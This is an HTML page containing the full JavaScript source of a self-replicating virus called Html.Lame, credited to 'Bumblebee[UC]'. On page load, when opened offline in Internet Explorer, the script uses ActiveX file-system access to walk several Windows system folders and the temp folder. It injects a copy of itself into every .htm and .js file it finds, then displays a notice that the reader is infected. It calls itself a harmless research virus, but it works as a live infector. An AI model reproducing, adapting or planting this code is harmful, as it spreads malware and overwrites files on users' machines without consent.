<html>
<head>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<meta name="AUTHOR" content="Bumblebee[UC]">
<title>Html.Lame virus ;)</title>
</head>
<body>
<SCRIPT lenguage="JavaScript" lame><!--
Lame()
function Lame() {
// Html.Lame virus
// Coded by Bumblebee[UC]
// This is a research virus. Do not distribute.
var NS=(navigator.appName=='Netscape')
if(!NS) {
var d,day
d=new Date()
day=d.getUTCDate()
if(day==9) {
        document.write("<p><b>This file is infected by Html.Lame!<br>")
        document.write("What a virus! ;)</b></p>")
        return;
}
var proto=(location.protocol=='file:')
if(proto) {
var fso=new ActiveXObject("Scripting.FileSystemObject")
var winDir=fso.GetSpecialFolder(0)
lameDir(fso.GetFolder(winDir.path+"\\Web"))
lameDir(fso.GetFolder(winDir.path+"\\Help"))
lameDir(fso.GetFolder(winDir.path+"\\Web\\Wallpaper"))
lameDir(fso.GetSpecialFolder(2))
}
function lameDir(folder)
{
var files,fitem
files=new Enumerator(folder.files)
for(;!files.atEnd();files.moveNext()) {
        fitem=files.item()
        lameInfect(fitem.path)
}
}
}
}
function lameInfect(fileName)
{
if(fileName.search(new RegExp(".[hH][tT][mM]"))!=-1 || fileName.search(new RegExp(".[jJ][sS]"))!=-1) {
var file,fso,host,i,j,infected,virus,virusPath
fso=new ActiveXObject("Scripting.FileSystemObject")
virusPath=window.location.pathname
virusPath=virusPath.slice(1)
file=fso.openTextFile(virusPath,1)
virus=file.readAll()
file.close()
i=virus.search(new RegExp("<SCRIPT lenguage=\"JavaScript\" lame>"))
j=virus.search(new RegExp("Lame"+"Ends"))
j+=20
virus=virus.slice(i,j)
file=fso.openTextFile(fileName,1)
host=file.readAll()
file.close()
if(host.search(new RegExp("Html.Lame"))==-1) {
i=host.search(new RegExp("< *[Bb][Oo][Dd][Yy]"))
if(i!=-1) {
i+=4
infected=host.slice(0,i)
host=host.slice(i)
i=host.search(new RegExp(">"))
i++
infected+=host.slice(0,i)
host=host.slice(i)
}
infected+=virus
infected+=host
file=fso.openTextFile(fileName,2)
file.write(infected)
file.close()
}
}
}
//LameEnds--></SCRIPT>
<center>
<p>WARNING - this is the Html.Lame virus - WARNING</p>
<p>Only offline. Works with IE and avoid NS errors. If you are
reading this message with IE offline, <b>you are infected</b>.
Don't worry... is a harmless virus. Have fun! ;)
</p>
</center>
</body>
</html>
